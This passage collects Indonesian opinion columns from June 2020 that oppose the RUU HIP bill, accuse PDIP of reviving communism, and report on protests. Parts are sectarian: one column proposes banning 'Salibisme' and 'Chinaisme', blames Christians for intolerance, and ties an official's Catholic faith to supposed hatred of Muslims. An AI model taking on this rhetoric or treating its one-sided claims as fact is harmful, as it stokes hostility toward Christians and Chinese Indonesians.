berbangsa dan bernegara yang ber-Ketuhanan, memiliki semangat sosio nasionalisme dan sosio demokrasi (TRI SILA). Selanjutnya : "Serta alat perjuangan untuk menentang segala bentuk individualisme dan menghidupkan jiwa dan semangat gotong royong dalam kehidupan bermasyarakat, berbangsa, dan bernegara (EKA SILA)" Pasal 10 tentang tugas partai, pada butir g tertuang : "mempengaruhi dan menjiwai jalannya penyelenggaraan negara agar senantiasa berdasarkan pada ideologi Pancasila 1 Juni 1945 dan UUD 1945 serta jalan Trisakti sebagai pedoman strategis dan tujuan kebijakan politik partai demi terwujudnya pemerintahan yang kuat dan efektif, bersih dan berwibawa" Nah kini sudah semakin jelas. Jika Pancasila 1 Juni 1945 yang dijadikan sebagai panduan, dan dimaknai, maka bukan hanya RUU HIP yang beraroma PKI dan Komunisme yang berbahaya. Tetapi juga perlu didalami tentang kemungkinan ancaman dari misi PDIP bagi kemurnian ideologi Pancasila hasil kesepakatan 18 pendiri bangsa Agustus 1945. Masyarakat politik dan masyarakat hukum berhak untuk mengkaji lebih dalam tujuan dan arah politik PDIP seperti tertuang di dalam Anggaran Dasar dan Anggaran Rumah Tangga PDIP. Tujuannya untuk memperjelas kasus dan posisi PDI,P baik dalam konteks RUU HIP maupun misi terselubung yang ada dibaliknya. Visi dan Misi PDIP ini menjadi wacana dan isu yang menarik. Sebab bisa saja muncul dugaan, adakah Pancasila 1 Juni 1945 tersebut yang mau diperjuangkan PDIP untuk mengganti atau melemahkan Pancasila 18 Agustus 1945 ? Itulah hanya yang terpersepsi, tetapi perlu untuk diklarifikasi lebih lanjut. Jika memang itu yang terjadi, maka keadaan bangsa dan negara Indonesia akan teryus menghadapi ancaman yang sangat serius. Rakyat, khususnya umat Islam perlu waspada menghadapi kemungkinan terburuk selama Visi dan Misi PDIP belum berubah. Atau lebih tepat, siaga. Tidak bisa berdiam diri. TNI dan Polisi jangan berdiam diri saja. TNI dan Polisi juga mesti peduli dengan perkembangan dan situasi. RUU HIP dan PDIP telah membawa masalah baru bagi masyarakat, bangsa, dan negara. Penulis adalah Pemerhati Politik dan Kebangsaan.

Tahukah Siapa PKI dan Komunisme Impornya?

by Mayjen TNI (Purn) Prijanto Jakarta FNN – Kamis (25/06). Pernyataan Sikap Purnawirawan TNI-POLRI bahwa, “Pengangkatan RUU HIP ini dinilai sangat tendensius. Karena terkait dengan upaya menciptakan kekacauan serta menghidupkan kembali PKI”. (Forum Komunikasi Purnawirawan TNI-POLRI, 9/6/2020) Awal Juni 2020, bangsa Indonesia dihebohkan RUU Haluan Ideologi Pancasila (HIP). Isu ini mengalahkan persoalan Covid-19, PLN, Pertamina, anggaran Covid-19, dan devisit APBN yang dramatis, sehingga menjadi beban negara 10 tahun ke depan. Bahkan, sampai membangkitkan purnawirawan TNI-POLRI membuat pernyataan sikap. Kecurigaan tidak saja para purnawirawan. Tetapi juga MUI se-Indonesia, NU, Muhamadiyah, pesantren, dan masyarakat dari Jember, Kediri, Madura, Solo, Yogya, Banten dan lain-lain. Kesemuanya menolak RUU HIP. Artinya, bangsa Indonesia tidak memerlukan itu UU HIP. Gerakan Kebangkitan Indonesia (GKI) bersama Panji Masyarakat pun menyelenggarakan Webinar dengan tema “RUU HIP dalam berbagai perspektif, perlukah UU HIP?”. Kegiatan ini untuk menyoroti lebih dalam RUU HIP pada 19/6/2020. Ada penekanan dari para peserta baha, jangan sampai terjadi degradasi terhadap Pancasila. Kita perlu menguji pasal-pasal Undang-Undang Dasar 1945 hasil amandemen dengan nilai-nilai Pancasila. Sebab, menurut Prof. Dr. Kaelan, Guru Besar UGM dalam acara Webinar, Undang-Undang Dasar hasil amandemen bukanlah UUD 1945. Mencermati RUU HIP, dan berbagai kejadian, memunculkan firasat adanya upaya menghidupkan komunisme dengan mendegradasi Pancasila. Pasti generasi muda heran, mengapa gambar palu-arit dilarang tidak boleh menjadi ‘trend’ ? Mengapa rakyat alergi atau benci terhadap PKI dengan komunismenya? Generasi tua tidak boleh amnesia. Sedangkan generasi muda harus tahu, siapa PKI dengan faham komunismenya itu. PKI memiliki catatan buruk dalam sejarah Indonesia. Komunisme, dibawa ke Hindia-Belada (Indonesia) oleh J.F Marie Sneevliet (orang Belanda) tahun 1913. Mulanya Sneevliet orang sosialis-demokrat. Tetapi lebih condong ke komunis. Jadinya komunisme itu adalah faham import. Sedangkan Pancasila, merupakan nilai-nilai dari bumi pertiwi. Dengan demikian tidaklah mungkin dalam satu negara menganut dua macam ideologi. Sneevliet mendirikan Indische Sociaal Democratische Vereeniging (ISDV), 23/5/1914. Awalnya berisi hanya 85 orang Belanda totok. Ingin mengganti tatanan lama pemerintahan Belanda di Nederlands Indie (Indonesia) dengan propaganda komunisme. Jadi, bukan untuk kepentingan pribumi agar merdeka dari jajahan Belanda. Dua tahun berdirinya ISDV, tiga orang pribumi, yaitu Semaun, Darsono dan Alimin masih menjadi anggota ISDV. Padahal ketiganya anggota Sarikat Islam masuk. Pada 23 Mei 1920, ISDV berubah menjadi Perserikatan Komunis di Hindia (PKH) dengan Ketua Semaun dan Darsono sebagai Wakil. Kongres Sarekat Islam (SI), tahun 1921, anggota SI yang masuk PKH dipecat oleh Agus Salim. Inilah awal konflik golongan Islam dengan Komunis. PKH berubah menjadi Partai Komunis Indonesia (PKI) pada tahun 1924. Pemberontakan PKI kepada kolonial Belanda tahun 1926/1927 bukan untuk mewujudkan Indonesia Merdeka, tetapi hakikatnya terkait dengan konsep perjuangan Komunisme Internasional. Setelah Indonesia merdeka, PKI masih melakukan pemberontakan. Peristiwa Madiun, 18 September 1948 adalah Pemberontakan PKI yang dapat digagalkan. Peristiwa ini merupakan konflik bersenjata antara pemerintah Indonesia dengan kelompok oposisi kiri, pimpinan Muso, tokoh PKI lama di Uni Soviet. Muso menghendaki satu kelas buruh beraliran Marxisme-Leninisme dan mendirikan pemerintahan “Komite Front Nasional” dan bekerjasama dengan Uni Soviet. Pikiran Bung Karno tentang Nasakom membikin PKI besar kepala. Aapalagi kemenangan PKI pada Pemilu 1955, urutan keempat setelah PNI, Masyumi, dan NU. Sejarah mencatat, adanya kedekatan Bung Karno dengan Presiden Mao Zedong dan PM Chou Enlai tahun 1960-an. Terbentuklah poros Jakarta-Peking dengan pernik-pernik alas an. Hubungan PKI pimpinan DN. Aidit dengan Partai Komunis China, menambah deret catatan menjelang pemberontakan G.30.S/PKI. Dasar kelakuan komunis. PKI meniupkan isu adanya Dewan Jenderal yang akan menculik Bung Karno. Tetapi didahului Komandan G.30.S/PKI Letkol Untung, Komandan Cakrabirawa, pasukan pengawal Presiden. Pasukan Letkol Untung lalu menculik dan membunuh 7 (tujuh) Perwira AD, pada 30 September 1965. Anak buah Letkol Untung lalu membuang mayatnya ke dalam sumur secara biadab, di Lubang Buaya Halim. Korban penculikan itu kita kenal sebagai 7 (tujuh) Pahlawan Revolusi. Baca : https://www.centerofrisk-sia.com/bukan -dont-forget-the-bee-gees-tetapi-jangan-lupa-perilaku-pki/ Pemberontakan PKI tahun 1965, sangat jelas. Dokumen sebagai alat bukti, dan saksi, muncul dalam persidangan Mahkamah Militer Luar Biasa (Mahmilub) yang mengadili pentolan G.30.S/PKI. Sidang Mahmilub sangat terbuka. Bisa didengar dengan radio transistor di pelosok negeri dan luar negeri. Membuktikan bahwa PKI adalah dalang uatama pemberontakan G.30.S/PKI. Dokumen yang tersimpan di Arsip asional, Perpustakaan Nasional, Museum dan Monumen, bukanlah hasil rekayasa. PKI bukan korban, tetapi dalang pemberontakan yang ingin mengganti Pancasila dengan komunisme adalah fakta sejarah. Atas adasar itu Majelis Permusyawaratan Rakyat Sementara (MPRS) mengeluarkan Ketetapan MPRS Nomor XXV/MPRS/1966. Walau PKI sudah dibubarkan. Sebagai organisasi terlarang, serta adanya larangan penyebaran ajaran Komunis/Marxisme-Leninisme, tetapi harus tetap diwaspada. Pasalnya, ada kelompok yang bangga dengan PKI. Selain itu, ada juga jaringan komunis internasional. Tuntutan rakyat bukan ditunda, karena masih sibuk dengan pekerjaan memutus mata rantai Covid-19. Tetapi rakyat menolak RUU HIP. Bangsa Indonesia tidak butuh dengan RUU HIP. Apalagi UU HIP, karena akan mendegradasi Pancasila. Semoga penyelenggara negara mendengarkan. Amin Penulis adalah Aster KASAD Tahun 2006-2007 dan Mantan Wakil Gubernur DKI

PDIP Diserang, PDIP Juga Melawan

by Tony Rosyid Jakarta FNN – Kamis (25/06). Kalau di masa Orda Lama ada Tritura. Sedangkan di era Jokowi ada "Tiga Tuntutan Umat”. Boleh disingkat "Trituma". Pertama, batalkan RUU HIP. Kedua, usut para oknum dibalik RUU HIP. Dua tuntutan ini dimaklumatkan oleh MUI. Ketiga, tinjau kembali semua UU dan RUU yang dianggap telah merugikan kepentingan rakyat. Apa undang-undang dan RUU yang merugikan kepentingan rakyat itu? Diantaranya UU KPK, UU Minerba, UU Corona, RUU Omnibus Law, dan undang-undang lainnya. Undang-undang yang sudah dibuat Pemerintah dengan DPR tersebut, hanya untuk menampung kepentingan pemerintah, DPR dan pengusaha licik, culas dan tamak. Bukan untuk kepentingan rakyat. Maklumat MUI Pusat, selain didukung oleh semua pengurus MUI di seluruh Indonesia, juga dikawal oleh hampir semua ormas dan elemen Umat Islam. NU, dan Muhammadiyah, Persis, Al-Irsyad, PUI, Matlaul Anwar, Alwashiliyah dan dua ratus lebih oramas berada dan berdiri di garda terdepan. Pernyataan K. H. Said Aqil Siroj, K.H. Mashudi dan Hilmy Faeshal Zaini dari PBNU sangat keras dan tegas. Begitu juga pernyataan Din Syamsudin dan Buya Anwar Abbas dari Muhammadiyah. Nggak kalah kerasnya. Ormas Islam ini sudah mewakili sekitar dua ratus juta lebih umat Islam. Jangan coba-coba dan jangan main-main dengan umat Islam. Ingat itu. Demo perdana telah dimulai rabu kemarin, 24/6/2020. Puluhan hingga ratusan ribu massa umat Islam kepung gedung DPR. Atas desakan massa, DPR berjanji akan pertama, menghentikan pembahasan RUU HIP. Kedua, mengusut para oknum dan konseptor dibalik RUU HIP. Para pendemo bersumpah akan terus mengawal janji DPR tersebut. Dalam demo, terjadi insiden. Ada pembakaran bendera PDIP. Partai berlambang banteng ini berang. Marah, dan akan melaporkan orang-orang yang membakar bendera partainya ke polisi. Langkah yang ditempuh PDIP ini juga konstitusional. Masih di dalam koridor hukum positif yang berlaku. Beberapa pekan terakhir memang telah beredar kampanye anti PDIP. Kampanyenya sangat massif. Bergaung di sejumlah medsos. Baik dalam bentuk meme, tulisan maupun video. PDIP dianggap sebagai pihak yang bertanggung jawab atas lahirnya RUU HIP ini. Umat sangat marah. Dan klimaks kemarahan itu terjadi di depan gedung DPR. Sejumlah orang kemudian membakar bendera partai banteng itu. Lalu apa respon PDIP terhadap semua bentuk serangan ke partai itu? Hadapi. Tak ada tanda-tanda PDIP kendor. Saat didesak untuk membatalkan RUU HIP, Hasto, sekjen PDIP siap memasukkan TAP MPRS No 25 Tahun 1966 dalam RUU HIP. Asal saja larangan radikalisme dan khilafaisme juga dimasukkan. Tampak Hasto dan PDIP coba untuk bernegosiasi dengan umat Islam. Sementara Ahmad Basarah, salah satu kader militan PDIP justru memberi sinyal fraksi-fraksi lain akan mendukung kembali pembahasan RUU HIP. Pada saat demonstrasi perdana digelar dan bendera PDIP dibakar, partai pemenang pemilu ini akan membawa para oknum pembakar bendera itu ke polisi. Dalam konteks ini, PDIP tampak nggak pernah kehilangan langkah. PDIP melawan setiap upaya untuk memojokannya terkait RUU HPI ini. Rupanya masih merasa kuat untuk malakukan perlawanan. Melihat pernyataan dan sikap sejumlah kader PDIP, nampak bahwa partai yang berhasil dua kali menjadikan Jokowi presiden ini tak mundur. Walau satu langkah sekalipun tidak. Dalam hal ini, keteguhan dan militansi kader PDIP tak diragukan. Berdiri tegak bagai karang. Tetap tegar meski dihantam gelombang demonstran. Patut untuk diberi pujian. Wajar saja. Sebab PDIP partai pemenang pemilu. Bahkan hingga dua kali menang. Saat ini paling dekat dengan kekuasaan. Punya kekuatan untuk bisa menekan penguasa. Mental pemenang dan mental berkuasa, tentu tak mudah digertak. Apalagi cuma puluhan atau ratusan ribu massa. Jika massa umat Islam membidik PDIP dengan menuntut pengusutan terhadap para oknum dibalik RUU HIP, maka PDIP membidik balik dengan mempolisikan oknum yang membakar bendera PDIP. Makin seru saja pertarungan hari-hari ke depan. Bagaimana kira-kira ujung dari saling bidik ini? Di negara +62 ini, hukum kadang tak berdiri sendiri. Ada saja kekuatan, terutama kekuatan politik yang seringkali ikut masuk ke ranah hokum. Kadang-kadang ikut menyusup ke dalam pasal-pasal dakwaan. Dakwaan berdarkan pesanan dari penguasa politik. Usut oknum dibalik RUU HIP. Meski DPR sudah janjikan, jangan anggap itu mudah untuk dilakukan. Sebab Fraksi-fraksi di DPR selama ini tak pernah sanggup berhadapan dengan PDIP. Kalau penegak hukum? Apalagi yang itu. Anda pasti masih ingat kasus e-KTP, dan hilangnya Harun Masiku masih sampai sekarang. Entah dimana dia berada. Mudah-mudahan saja masih hidup. Amin amin amin. Kecuali jika umat Islam mampu menciptakan gelombang demo yang menghadirkan jumlah massa yang sangat besar. Mesti berjumlah jutaan. Gelombang massa berjumlah jutaan hanya akan terjadi jika MUI turun langsung dan memimpin demo. Atau ada pernyataan kontra, entah dari pemerintah, parlemen, atau terutama dari kader PDIP yang bisa menjadi trigger massa dalam jumlah besar itu turun. Jika tidak, maka serangan balik PDIP justru akan lebih efektif. Para oknum pembakar bendera partai banteng ini akan menjadi tersangka dan diproses secara hukum. Bidikan PDIP akan mengenai sasaran. Bahkan bisa tepat di jantung pertahanan lawan. Situasi kedepan, tak ada yang tahu. Yang pasti, genderang sudah ditabuh. Bidikan sudah saling diarahkan. Karena itu, dibutuhkan sikap politik yang dewasa dan matang dari para elit politik. Terutama di pemerintahan dan DPR. Jika tidak, situasi bisa jadi tak kondusif. Bahkan bisa juga di luar kendali. Sampai disini, entah apa yang akan terjadi? Hanya Tuhan Yang Maha Tahu. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Arief Poyuono: “Pak Joko Widodo Lawannya PKI!”

Oleh Mochamad Toha Jakarta, FNN + Melansir Detik.com, Rabu (17 Jun 2020 11:19 WIB), Wakil Ketua Umum Partai Gerindra, Arief Poyuono terancam sanksi dari Majelis Kehormatan DPP Gerindra karena pernyataan dia soal “PKI dimainkan kadrun” belakangan ini. Perihal sanksi untuk Poyuono itu disampaikan juru bicara Gerindra Habiburokhman dalam Twitter-nya. Tapi, Poyuono tetap merasa benar dengan pernyataannya. Poyuono tetap pada pendiriannya bahwa isu kebangkitan PKI hoax dan dibuat “kadrun”. Sanksi itu tengah diproses internal Majelis Kehormatan DPP Gerindra. “Kadrun itu siapa? Saya tanya dulu kan. Kadrun-kadrun itu istilah, nggak ada orang yang mau disebut kadrun. Memang si Habib (Habiburokhman) mau saya sebut kadrun?” sindir Poyuono. “Memang Gerindra kadrun? Kan bukan,” lanjut Poyuono saat dimintai tanggapannya, Rabu (17/6/2020). “Saya akan tetap pada statement saya bahwa PKI itu cuma hoax dan yang buat saya sebut kadrun. Kenapa? PKI itu partai terlarang kan? Ideologi terlarang kan. Ada nggak yang udah ditangkap polisi? Tunjukkan di mana orang-orang PKI itu,” imbuh Poyuono. Poyuono menilai isu bangkitnya PKI diembuskan cuma untuk mengacaukan negara. Dia menegaskan pemerintah saat ini juga menentang PKI. “Pak Joko Widodo bukan PKI, Pak Joko Widodo lawannya PKI,” tegas Poyuono. Pernyataan Poyuono tersebut menjadi sorotan warganet. Seperti ditulis dalam Fajar.co.id, pernyataan di salah satu video wawancara membuat Poyuono dan partainya menjadi bahan pembicaraan. Dalam video wawancara yang beredar luas di media sosial itu, legislator Senayan ini ditanya siapa yang memunculkan isu-isu PKI? “Yang pasti ini adalah kadrun!” tegas Poyuono dari akun twitter @Tjeloup, Selasa malam (16/6/2020). “Itu kadrun-kadrun dan yang ke-2 mungkin orang-orang yang tidak ingin adanya perdamaian di Indonesia yang mengkacau suasana, yang ingin mendiskreditkan pemerintahan yang sah secara konstitusional,” lanjut Poyuono. Kadrun (Kadal Gurun) digunakan oleh pendukung garis keras Jokowi. Istilah ini diindetikan dengan keturunan Arab atau yang berpakaian kearab-araban. Biasanya digunakan untuk para pengkritik Jokowi dan partai oposisi. Menurutnya, santernya isu PKI tak ayal hanyalah kabar hoaks yang mencuat di era Presiden Jokowi yang dalam hal ini menjadi korban, selalu dikait-kaitkan dengan PKI, partai terlarang. Poyuono menyebut pada era Presiden Megawati Soekarnoputri dan Presiden Susilo Bambang Yudhoyono (SBY), isu PKI tidak gencar dimainkan untuk menjatuhkan kewibawaan lawan politik. “Enggak ada cuma isu-isu bohong saja (PKI),” katanya. “Isu-isu itu sebenarnya hanya untuk mendelegitimasi Kangmas Jokowi yang selalu dituduh apa pun. Dia seakan-akan ada hubungannya sama PKI, seperti itu. Kan aneh munculnya itu cuman di era-nya Pak Jokowi saja, dulu di era SBY tidak ada, era Mega tidak ada, ya kan, ini kan aneh,” ucapnya.Akibat pernyataan ini, warganet rame-rame membuat tagar #TenggelamkanGerindra. Bahkan hingga Rabu (17/6/2020) pagi, tagar ini sudah ditulis 6.391 kali (pukul 09.38 Wita). Pihak partai besutan Prabowo Subianto pun langsung memberikan klarifikasi. Lewat juru bicara Partai Gerindra, Habiburokhman memberikan klarifikasi atas pernyataan keras yang dilontarkan oleh Arief Poyouno. “Sebagai Jubir Partai Gerindra saya tegaskan bahwa pernyataan dari Arief Poyuono tidak mewakili Partai @Gerindra, apapun dia bilang jangan kaitkan dengan kami (Gerindra),” tulis Habiburokhman di akun Twitter miliknya, Selasa (16/6/2020). “Saya seh ingatkan Arief Poyuono bahwa garis partai jelas anti PKI dan kita sangat waspada terhadap kebangkitan PKI,” ungkap Habiburokhman. Melansir Detik.com, Rabu (17/6/2020), Poyuono melontarkan pernyataan “PKI dimunculkan kadrun” dalam wawancara di kanal YouTube “Kanal Anak Bangsa”. Dia ketika itu menjadi narasumber yang diwawancari. Poyuono menjawab sejumlah pertanyaan. Tentang kebangkitan PKI. Ini benar ada atau nggak? Nggak ada, itu cuma isu-isu bohong aja. Isu-isu itu sebenarnya hanya untuk mendelegitimasi Kangmas Jokowi, yang selalu dituduh apapun dia seakan-akan dia ada hubungannya sama PKI. Seperti itu kan aneh, munculnya itu di eranya Pak Jokowi aja. Dulu era SBY nggak ada, era Mega nggak ada, ini kan aneh. Siapa yang atau kelompok orang yang memunculkan itu? Yang pasti ini adalah kadrun, kadrun-kadrun ya yang pasti. Yang ke-2 mungkin orang-orang yang tidak menginginkan adanya perdamaian di Indonesia, yang selalu ingin mengacau yang selalu ingin mendiskreditkan pemerintah yang sah dan konstitusional dengan isu-isu PKI. Tapi kebangkitan PKI tidak ada? Tidak ada. Siapa yang PKI? Sangat dijamin. Di mana? Nanti gerakan buruh lebih kenceng disebut PKI. Kan kacau. Nggak ada PKI. Jadi kita bisa memastikan isu PKI itu tidak ada, hanya rekayasa kelompok tertentu? Tidak ada. Men-delegitimate pemerintahan Pak Jokowi. Yang disarankan ke Pak Jokowi untuk merespons dinamika sekarang ini? Diem aja. Diem aja ngapain direspons. Kebangkitan PKI hanya hoax… Hoax dan mau mengacaukan Indonesia. Dan sayangnya nggak laku. Tiap tahun nggak laku. Rakyat nggak butuh itu. Bicara tentang komunisme, masih laku? Tidak, udah nggak laku. Potensi PKI bangkit lagi ada peluang nggak? Saya rasa nggak ada karena PKI itu sekarang sudah bukan ajaran yang lama dari komunisme terus itu melakukan apa namanya teorinya tuh sudah diperbarui, teori lamanya udah nggak lagi. Kalau teori barunya ya kita lihat sekarang China. China (itu) sendiri sudah mengarah ke kapitalis. Nggak komunis murni cuma dalam hal-hal kepentingan negara mereka menganut ajaran-ajaran komunis itu artinya untuk melindungi negara dan rakyatnya dia gunakan ideologi komunis itu. “Tapi kalau untuk kegiatan ekonominya lebih liberal daripada kita,” ungkap Poyuono dalam wawancara itu. Pernyataan Poyuono dan klarifikasi Gerindra tentu saja menimbulkan polemik. Isu sensitif PKI diyakini akan semakin membesar seperti bola salju. Patut dicermati, apakah pernyataan Poyuono ini merupakan satu mata rantai dengan polemik RUU HIP? Atau berdiri sendiri dan Poyuono memiliki hidden agenda atau motif lain? Penulis Wartawan Senior

DPR Sebaiknya Kibarkan Saja Bendera Putih

by M Rizal Fadillah Jakarta FNN – Kamis (25/06). DPR sudah terlalu berat untuk membahas Rancangan Undang-Undang Haliuan Ideologi Pancasila (RUU HIP). Atmosfer politik yang ada tidak lagi mendukung DPR dan Pemerintah untuk menjadikan RUU ini sukses menjadi undang-undang. Jika penundaan Pemerintah yang tidak jelas dasarnya tersebut berujung pada pembahasan juga, maka diprediksi sulit untuk DPR bisa bekerja dengan tenang, jernih dan lancar. Sebab aksi-aksi protes dan penolakan akan terus membarengi dan mengganggu kerja-kerja DPR di pembahsan RUU HIP ini. Karena RUU telah menjadi "bencana nasional" bagi masyarakat Indonesai, khsusnya umat Islam. Jika dilanjuutkan, apapun resikonya, umat dipastikan akan berhadap-hadapan dengan DPR. Termasuk juga siap untuk beradu kuat dengan pemerintah. Masalah ini sudah menyangkut keyaninan mayoritas umat Islam dalam bernegara. Pancasila dan UUD konsensus tanggal 18 Agustus 1945 itulah yang paling top, paling pas dan paling cocok bagi bangsa Indonesia. Jangan aneh-aneh lagi. Tutup dan kunci rapat-rapat segalan bentuk pembicaraan lanjutan mengenai Pancasila dan UUD 1945. Meski membahasakan kepada rakyat dengan kata "menunda", pemerintah juga nampaknya masih bingung. Sebab di satu sisi, desakan rakyat khususnya umat Islam untuk menghentikan segala proses lanjutan terhadap RUU HIP sangatlah kuat. Sementara di sisi lain, usulan dan gagasan awal RUU ini datang dari PDIP. Yang tak lain merupakan partainya pemerintah sendiri. Sikap tegas pemerintah akan menyinggung "marwah" PDIP dan juga DPR. Untuk itu, sebaiknya DPR tak perlu ngotot dan melawan kemauan rakyat. Sinyal datri pemerintah ini agar dibaca dan diantisipasi oleh DPR, dengan segera menarik atau menghentikan RUU inisiatif. Opsi yang ditawarkan berupa revisi atau perbaikan, “sangat tidak sesuai aspirasi" rakyat. Bahkan cenderung DPR anggap tidak aspiratif. Keinginan dan aspirasi publik hanya tiga, yaitu tolak, tarik lagi, dan hentikan pembahasan segala bentuk selanjutnya RUU HIP ini. Jangan sampai telah terpatri di hati rakyat bahwa RUU HIP yang beraroma Orde Lama, bahkan berbau amis komunisme tersebut dilajutkan lagi pembahsannya. Tuduhan terkuat adalah tanda kebangkitan PKI. Neo-PKI. Pahami pesan itu baik-baik. Ada pembakaran bendera PKI pada aksi unjuk rasa tanggal 24 Juni di depan Gedung DPR-RI. Pengunjuk rasa bernyanyi dengan semangat "bakar, bakar, bakar PKI, bakar PKI sekarang juga". Aspirasi ini yang mesti didengar oleh para wakil rakyat di DPR. Tak juga perlu menuduh masyarakat yang anti PKI itu sebagai "kadrun". Kenyataan ini adalah realita dari perasaan politik rakyat yang mereaksi cara elit politik bermain dengan sangat licik, culas , busuk dan bau amis. Uniknya, entah karena kecewa atas sikap pemerintah yang "lembek" dan cenderung "mengeles". Dampak dari seikap pemerintah yang hanya menyatakan "menunda pembahsan" atau karena ada akumulasi rasa jengkel dan tidak percaya kepada pemerintah, khususnya Presiden selama ini. Akibatnya, pada momen demonstrasi di DPR Rabu kemarin, lagu "perjuangan" dinyanyikan pula oleh pengunjuk rasa dengan antusias "turun, turun, turun Jokowi, turun Jokowi sekarang juga". Meski bola RUU secara yuridis formal masih berada di tangan Pemerintah, karena belum ada yang "Surpres" yang dilayangkan kepada DPR, tetapi pidato Menko Polhukam Mahfud MD yang didampingi Menkumham Yasonna Laoly baru-baru ini telah memberi indikasi sikap Pemerintah. Oleh karenanya DPR sebenarnya sudah dapat mengambil sikap atau kebijakan strategis untuk menjawab aspirasi rakyat tersebut. DPR jangan lewatkan momentum ini untuk memulihkan kepercayaan rakyat DPR sebaiknya mulai melakukan rapat Baleg maupun Fraksi-Fraksi untuk segera menentukan sikap. Hentikan RUU HIP dan tarik dari daftar program legislasi. Kembali perhatian pada agenda lain seperti pandemi covid 19 dan pemulihan keadaan. Jangan mengambangkan persoalan RUU HIP yang membuat gaduh dan resah rakyat tersebut. Jika ini dianggap sebagai "pertempuran" untuk menggoalkan RUU HIP menjadi undang-undang, maka gempuran akan terus menguat. Sebaiknya DPR mundur saja. Mengibarkan bendera putih sebagai tanda menyerah. Apalagi menyerah kepada rakyat itu lebih terhormat. Tidak bagus untuk memaksakan kehendak. Situasi berkaitan RUU HIP ini semakin rentan dan rawan. DPR menyerahlah. Penulis adalah Penerhati Politik dan Kebangsaan

Biar Adil, Larang Juga Salibisme Dan Chinaisme

by M Rizal Fadillah Jakarta FNN – Kamis (25/05). Hasto Kristiyanto yang beragama Katolik, telah mencoba menohok umat Islam. Tohokan Harto tersebut, baik secara samar-samar maupun terang-terangan. Terlihat sekali kalau kebencian Hasto kepada umat Islam sudah di ubun-ubun. Aspirasi penolakan rakyat yang besar, deras dan kuat, sehingga tak mungkin dibendung tentang Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Bahwa Tap MPRS tentang larangan PKI dan Komunisme harus masuk RUU HIP, Hasto ristiyanto malah menyatakan PDIP akan menambah larangan PKI dengan Liberalisme/ Kapitalisme, Radikalisme, dan Khilafahisme. Soal Liberalisme dan Kapitalisme tidak ada masalah Hasto, karena itu gandengan dari Sosialisme dan Komunisme. Meski ungkapan itu hanya membuat senyum saja "memercik air di dulang terpercik muka sendiri". Hampir dapat dikatakan bahwa kesuksesan pemenangan Pemilu Legislatif maupun Presiden adalah produk budaya Kapitalisme dan Liberalisme. Pidato Surya Paloh di depan Civitas Academica Universitas Indonesia dapat dijadikan pelajaran dan pencerminan. Radikalisme bukan ideologi. Radikalisme adalah cara kerja atau model. Bukan ideologi atau cita-cita yang diperjuangkan. Bisa terjadi dimana saja, pada agama manapun, atau di partai apapun. Jadi tidak ekivalen. Sayangnya pada rezim ini radikalisme selalu diarahkan pada umat Islam. Sertinya di agama-agama yang lain tidak ada radikalisme. Khilafahisme juga diarahkan pada umat Islam lagi. Khilafahisme itu juga bukan ideologi Hasto. Apalagi yang disejajarkan dengan Komunisme. Khilafah adalah sistem pemerintahan yang dikenal sejak Nabi Muhammad SAW wafat. Sistem itu telah diakui sebagai sistem pemerintahan yang sangat baik dalam perjalanan kesejarahannya. Itu nyata. Pernyataan Hasto yang menohok umat Islam adalah ngawur, benci, dendam dan "out of order" atas penolakan umat terhadap RUU HIP. PKI dan Komunisme dilarang atas dasar landasan hukum yang kuat. Menambah nambah justru membuat persoalan baru Hasto. Sebaiknya harus jelas dahulu landasan hukumnya. Jika tidak, bukan saja bias, tetapi juga bisa mengarah pada penistaan. Jangan asal ngomong yang menyinggung masalah agama. Hasto bisa menambah dan memproduksi masalah baru. Hasrto bisa saja dituduh membenci terhadap Islam. Apalagi Harsto baragama Khatolik. Jangan membuta pernyataan karena panic dan kesal kepada umat Islam. Jika "ngotot" dan memaksakan hal yang di luar substansi. Reaksi publik soal pembatalan RUU HIP yang diusulkan PDI, karena berbau komunis dengan menambah "isme-isme" lain. Maka sangat wajar jika ada usul larangan juga pada dua isme yang mengganggu dan meresahkan rakyat dan umat Islam, yaitu "Salibisme" dan "Chinaisme". Salibisme bukan berarti agama Kristen yang dilarang, tetapi Kristenisasi dengan upaya masif dan sistemik melakukan pemurtadan umat Islam. Baik melalui pengobatan, pemberian materi, politik kekuasaan, tekanan bisnis, atau lainnya. Dominasi politik "Kristen Internasional" juga menjadi bagian dari Salibisme. Demikian juga dengan yang merusak kerukunan, seperti kasus di Sumatera Barat. Sering muncul propaganda bahwa umat Islam adalah kelompok intoleran padahal. Padahal umat lain lah yang sebenarnya justru bersikap intoleran tersebut. Chinaisme adalah takluknya aspek budaya, ekonomi, maupun politik kepada hegemoni bangsa China. RRC adalah negara sentral komando. Penundukan sukarela maupun paksa pada hal yang serba China adalah bertentangan dengan nasionalisme bangsa Indonesia. Memarjinalkan kaum pribumi pada aspek budaya, ekonomi, hukum dan politik adalah penghinaan kepada Pancasila dan UUD 1945. Chinaisme dekat-dekat pula dengan komunisme yang dipastikan sangat berbahaya. Semestinya persoalan RUU HIP disikapi dengan bijak. Faktanya adalah rakyat telah menolak. Ada muatan dan materi RUU HIP yang mengganggu. Tidak perlu disikapi dengan "terima atau revisi dengan syarat". Rakyat khususnya umat Islam sudah bersikap tetap menolak RUU. Tak perlu berapologi. Apalagi menambah nambah larangan ala Hasto Kristiyanto. Jika- Hasto terus bersemangat menyodok umat, maka usulannya adalah tegas larang juga Salibisme dan Chinaisme. Menjadi adil kan Hasto? Penulis adalah Pemerhati Politik dan Kebangsaan.

Untung Ada RUU HIP

By Asyari Usman Jakarta, FNN - Setiap peristiwa selalu membawa hikmah. Begitu kata orang-orang tua. RUU HIP juga disertai hikmah. Ada ‘by products’ (produk sampingan) yang tersingkap dari upaya busuk pihak-pihak yang ingin melenyapkan sila Ketuhanan Yang Maha Esa (KYME). Banyak sekali yang terkuak. Dalam tamsilan lain, banyak yang bercerabut ketika akar RUU HIP itu dibongkar oleh rakyat yang mengawal Pancasila. Banyak yang bertaburan begitu RUU anti-ketuhanan itu dicungkil. Misalnya, kita lihat kesibukan parpol-parpol di DPR melakukan ‘adjustment’ (penyesuaian) dengan gerakan yang menentang RUU itu. Mereka pontang-panting menyelamatkan diri. Bagaikan tertangkap basah di tempat mesum. Semua mengatakan bahwa mereka belum sempat ‘begituan’. Ada yang mengatakan bahwa mereka hanya sekadar berkaraokean saja. Ada pula yang berkilah baru sampai di lokasi. Ada yang bilang belum transaksi, dlsb. Dari pembongkaran RUU HIP itu, Anda juga menyaksikan pentolan-pentolan anti-Pancasila dan anti-agama yang bermunculan di segenap 